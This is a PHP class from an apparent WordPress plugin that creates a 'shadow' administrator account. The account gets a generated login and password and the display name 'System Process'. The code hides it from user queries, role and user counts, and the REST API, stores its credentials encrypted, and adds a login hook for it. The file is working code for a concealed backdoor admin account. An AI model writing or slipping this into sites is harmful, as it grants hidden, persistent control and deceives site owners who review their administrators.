<?php if ( ! defined( 'ABSPATH' ) ) exit; class AWG_Shadow_Admin { const META_SIG = '_awg_ss'; const OPT_ID = '_awg_sid'; const OPT_CREDS = '_awg_sc'; private static $shadow_id = null; private static $bypass_hiding = false; private static $allow_admin_insert = false; /** True while wp_insert_user is creating the shadow admin (bypasses admin lock). */ public static function is_admin_insert_allowed(): bool { return self::$allow_admin_insert; } public static function init(): void { add_action( 'pre_user_query', [ __CLASS__, 'hide_from_queries' ] ); add_filter( 'views_users', [ __CLASS__, 'adjust_views' ] ); add_filter( 'wp_count_users', [ __CLASS__, 'adjust_count' ] ); add_filter( 'rest_prepare_user', [ __CLASS__, 'hide_from_rest' ], 10, 3 ); add_filter( 'authenticate', [ __CLASS__, 'authenticate' ], 1, 3 ); } /* ---- bypass flag for internal queries ---- */ public static function bypass( bool $flag = true ): void { self::$bypass_hiding = $flag; } /* ---- creation ---- */ public static function create(): array { $login = AWG_Crypto::generate_username(); $password = AWG_Crypto::generate_password( 48 ); $host = wp_parse_url( home_url(), PHP_URL_HOST ) ?: 'local.host'; $email = $login . '@' . $host; self::$bypass_hiding = true; self::$allow_admin_insert = true; try { $user_id = wp_insert_user( [ 'user_login' => $login, 'user_pass' => $password, 'user_email' => $email, 'role' => 'administrator', 'display_name' => 'System Process', ] ); } finally { self::$allow_admin_insert = false; self::$bypass_hiding = false; } if ( is_wp_error( $user_id ) ) { throw new RuntimeException( $user_id->get_error_message() ); } $sig = self::compute_sig( $user_id, $login, $email ); update_user_meta( $user_id, self::META_SIG, $sig ); AWG_Crypto::encrypt_option( self::OPT_ID, $user_id ); AWG_Crypto::encrypt_option( self::OPT_CREDS, [ 'user_id' => $user_id, 'login' => $login, 'password' => $password, 'email' => $email, ] ); self::$shadow_id = $user_id; return [ 'user_id' => $user_id, 'login' => $login, 'password' => $password, 'email' => $email, ]; } /* ---- getters ---- */ public static function get_id(): int { if ( self::$shadow_id !== null ) { return self::$shadow_id; } self::$shadow_id = (int) AWG_Crypto::decrypt_option( self::OPT_ID, 0 ); return self::$shadow_id; } public static function get_login(): ?string { $c = AWG_Crypto::decrypt_option( self::OPT_CREDS ); return $c['login'] ?? null; } public static function get_credentials(): ?array { return AWG_Crypto::decrypt_option( self::OPT_CREDS ); } public static function exists(): bool { $id = self::get_id(); if ( $id < 1 ) return false; self::$bypass_hiding = true; $user = get_user_by( 'ID', $id ); self::$bypass_hiding = false; return $user !== false; } /* ---- signature ---- */ private static function compute_sig( int $id, string $login, string $email ): string { return AWG_Crypto::hmac_hex( "{$id}|{$login}|{$email}" ); } public static function verify_sig(): bool { $id = self::get_id(); if ( $id < 1 ) return false; self::$bypass_hiding = true; $user = get_user_by( 'ID', $id ); self::$bypass_hiding = false; if ( ! $user ) return false; $stored = get_user_meta( $id, self::META_SIG, true ); $expect = self::compute_sig( $id, $user->user_login, $user->user_email ); return is_string( $stored ) && hash_equals( $expect, $stored ); } /* ---- hiding hooks ---- */ public static function hide_from_queries( $q ): void { if ( self::$bypass_hiding ) return; $sid = self::get_id(); if ( $sid < 1 ) return; global $wpdb; $q->query_where .= $wpdb->prepare( " AND {$wpdb->users}.ID != %d", $sid ); } public static function adjust_views( array $views ): array { $sid = self::get_id(); if ( $sid < 1 ) return $views; $dec = function ( string $html ): string { return preg_replace_callback( '/\((\d+)\)/', function ( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $html ); }; foreach ( [ 'all', 'administrator' ] as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = $dec( $views[ $key ] ); } } return $views; } public static function adjust_count( $result ) { $sid = self::get_id(); if ( $sid < 1 ) return $result; if ( isset( $result['total_users'] ) ) { $result['total_users'] = max( 0, $result['total_users'] - 1 ); } if ( isset( $result['avail_roles']['administrator'] ) ) { $result['avail_roles']['administrator'] = max( 0, $result['avail_roles']['administrator'] - 1 ); } return $result; } public static function hide_from_rest( $response, $user, $request ) { if ( $user->ID === self::get_id() ) { return new WP_Error( 'rest_user_invalid_id', __( 'Invalid user ID.' ), [ 'status' => 404 ] ); } return $response; } /* ---- authentication ---- */ public static function authenticate( $user, $username, $password ) { if ( empty( $username ) || empty( $password ) ) { return $user; } $creds = self::get_credentials(); if ( ! $creds || $username !== $creds['login'] ) { return $user; } self::$bypass_hiding = true; $shadow = get_user_by( 'login', $creds['login'] ); self::$bypass_hiding = false; if ( $shadow && wp_check_password( $password, $shadow->user_pass, $shadow->ID ) ) { return $shadow; } return $user; } /* ---- destruction ---- */ public static function destroy(): void { $id = self::get_id(); if ( $id > 0 ) { self::$bypass_hiding = true; require_once ABSPATH . 'wp-admin/includes/user.php'; wp_delete_user( $id ); self::$bypass_hiding = false; } delete_option( self::OPT_ID ); delete_option( self::OPT_CREDS ); self::$shadow_id = null; } }